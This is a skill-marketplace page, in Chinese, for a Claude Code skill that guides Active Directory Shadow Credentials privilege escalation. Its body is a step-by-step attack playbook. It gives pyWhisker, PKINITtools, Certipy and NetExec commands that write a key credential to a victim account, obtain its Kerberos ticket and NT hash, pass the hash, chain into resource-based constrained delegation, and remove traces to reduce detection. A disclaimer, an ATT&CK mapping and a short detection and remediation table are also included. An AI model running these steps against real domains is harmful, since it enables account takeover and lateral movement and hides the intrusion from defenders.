mcpField
A
abusing-shadow-credentials-for-privesc

abusing-shadow-credentials-for-privesc

github.com/mukul975安全35.2k310 次安装8 周前更新
代码仓库

关于 abusing-shadow-credentials-for-privesc

面向授权安全测试的 Active Directory Shadow Credentials 权限提升技能,介绍如何用 pyWhisker 或 Certipy 修改 `msDS-KeyCredentialLink`,获取目标 TGT 和 NT 哈希并清理凭据。

主要功能

  1. 01检查 `msDS-KeyCredentialLink` 写入权限
  2. 02添加和移除 Key Credential
  3. 03通过 PKINIT 请求目标 TGT
  4. 04恢复目标 NT 哈希
  5. 05记录 ACL 路径与修复建议

适用场景

  1. 01评估 BloodHound 中的写入权限路径
  2. 02测试无需重置密码的账户接管
  3. 03演练计算机账户接管及 RBCD 链接
  4. 04为紫队演练生成相关遥测

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill abusing-shadow-credentials-for-privesc

安装后在 Claude Code 中输入/abusing-shadow-credentials-for-privesc确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

详细介绍

滥用 Shadow Credentials 进行权限提升

法律声明: 本技能仅用于经授权的安全测试和教育目的。Shadow Credentials 可完全接管目标账户。仅可用于你拥有或获得明确书面授权进行测试的系统。未经授权的访问属于犯罪行为。

概述

Shadow Credentials 技术滥用 Active Directory 用户和计算机对象的 msDS-KeyCredentialLink 属性。该属性存储原始公钥(“Key Credentials”),供 Windows Hello for Business 和 Azure AD 设备注册使用,通过 PKINIT(Kerberos 初始身份验证公钥加密)实现基于证书的无密码登录。如果攻击者对目标对象的 msDS-KeyCredentialLink 拥有写入权限——通常由 BloodHound 中出现的 GenericWrite、GenericAll、WriteProperty 或 AddKeyCredentialLink ACE 授予——他们就可以附加自己生成的攻击者公钥。随后,他们使用匹配的私钥通过 PKINIT 为目标请求 TGT,并恢复目标的 NT 哈希,从而在不重置密码的情况下实现完全账户接管,这比强制重置密码隐蔽得多。

该技术由 Elad Shamir 发布(“Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover”),并在 C# 工具 Whisker 中实现。Python 等效工具 pyWhisker(ShutdownRepo)通过 LDAP 操纵该属性,而 Certipy 通过 certipy shadow auto 集成整个攻击链。目标环境必须支持 PKINIT,并且至少有一台运行 Windows Server 2016 或更高版本的域控制器。来源:pyWhisker、Whisker、The Hacker Recipes — Shadow Credentials。

使用场景

  • 当 BloodHound 显示对更高价值用户或计算机拥有 GenericWrite/GenericAll/AddKeyCredentialLink 时
  • 作为比 ForceChangePassword 更隐蔽的替代方案(不重置密码 = 更少干扰/告警)
  • 接管计算机账户以串联到基于资源的约束委派(RBCD)
  • 在红队行动中需要在不锁定合法用户的情况下接管账户时
  • 用于紫队演练以生成 msDS-KeyCredentialLink 修改遥测

前提条件

  • 经授权的交火范围包含 AD 凭据访问技术
  • 控制一个对目标的 msDS-KeyCredentialLink 具有写入权限的主体
  • 一台运行 Windows Server 2016+ 且启用了 PKINIT 的 DC(支持 Key Trust 的域功能级别)
  • 可网络访问 DC 上的 LDAP(389/636)和 Kerberos(88)
  • 运行 Python 3.8+ 的 Linux 攻击主机;安装工具:
    # pyWhisker (from source)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy (integrated shadow attack)
    pipx install certipy-ad
    # PKINITtools for manual TGT/NT-hash extraction
    git clone https://github.com/dirkjanm/PKINITtools
    

目标

  • 确认对目标的 msDS-KeyCredentialLink 具有写入权限
  • 生成密钥对并向目标对象附加 Key Credential
  • 使用新密钥通过 PKINIT 为目标请求 TGT
  • 恢复目标的 NT 哈希以进行 pass-the-hash/进一步横向移动
  • 清理注入的 Key Credential 以恢复对象状态
  • 记录促成该攻击的 ACL 路径以供修复

MITRE ATT&CK 映射

ID技术本技能中的应用
T1098.005账户操纵:设备注册将攻击者控制的 Key Credential(设备密钥)写入 msDS-KeyCredentialLink,为目标账户注册备用身份验证凭据

工作流

步骤 1:确认写入原语

列出目标上现有的 Key Credentials,以验证你拥有所需访问权限。空结果或可读结果可确认你具有执行 add 步骤的写入权限。

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"
步骤 2:使用 pyWhisker 添加影子凭据

生成证书/密钥对并将其写入目标的 msDS-KeyCredentialLink。pyWhisker 会输出一个由你控制的 PFX。

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow
# Produces victim_shadow.pfx and prints the PFX password

如果你只持有一个票据,请使用 Kerberos 认证而不是密码:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps
步骤 3:通过 PKINIT 请求 TGT

使用生成的 PFX 配合 PKINITtools 为目标获取 Kerberos TGT。

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache
步骤 4:恢复 NT 哈希

使用步骤 3 中的会话密钥从 AS-REP 中提取目标的 NT 哈希(getnthash.py 读取由 gettgtpkinit.py 显示的 AS-REP 加密密钥)。

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Prints the NT hash for 'victim'
步骤 5:使用 Certipy 的一键替代方案

Certipy 的 shadow auto 会自动执行添加 → PKINIT → 转储哈希 → 清理,非常适合计算机账户接管。

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'
# For a computer account, use the sAMAccountName with trailing $
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'
步骤 6:使用恢复的凭据

使用 NT 哈希(或 TGT)进行认证以继续渗透。

# Pass-the-hash with NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Or use the TGT directly
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
步骤 7:将计算机接管串联到 RBCD(可选)

当目标是计算机时,恢复的密钥/哈希可让你配置基于资源的约束委派,从而冒充任意用户访问该主机。

# Set RBCD so attacker-controlled SPN can impersonate to WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Passw0rd!'
步骤 8:清理

移除注入的密钥凭据以恢复对象并减少被检测的痕迹。

# pyWhisker: remove by device-id (printed during add) or clear all you added
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto cleans up automatically; otherwise:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

工具与资源

资源用途链接
pyWhisker通过 Python LDAP 操作 msDS-KeyCredentialLinkhttps://github.com/ShutdownRepo/pywhisker
Whisker原始 C# 实现https://github.com/eladshamir/Whisker
Certipyshadow auto 端到端接管https://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker Recipes技术详解与防御措施https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

检测与修复说明

领域指导
检测监控 Windows 安全事件 ID 5136(目录对象已修改)以发现对 msDS-KeyCredentialLink 的更改;当非 AD-Connect/非 Intune 主体写入该属性时发出警报。
审计在用户/计算机 OU 上启用目录服务对象更改审计。
最小权限移除不必要的 GenericWrite/GenericAll/AddKeyCredentialLink ACE(BloodHound 的 AddKeyCredentialLink 边)。
缓解在未使用 Windows Hello/设备注册的情况下,限制可写入密钥凭据的主体,并考虑使用 tier-0 保护账户。

验证标准

  • 已确认对目标的 msDS-KeyCredentialLink 具有写入权限(list 成功)
  • 已成功添加密钥凭据(生成 PFX)
  • 已为目标账户获取 PKINIT TGT
  • 已恢复目标 NT 哈希并针对服务进行验证
  • (如果是计算机)已演示 RBCD 链条或后续横向移动
  • 已移除注入的密钥凭据/恢复对象
  • 已记录启用 ACL 的路径并附带修复建议

评论

支持 Markdown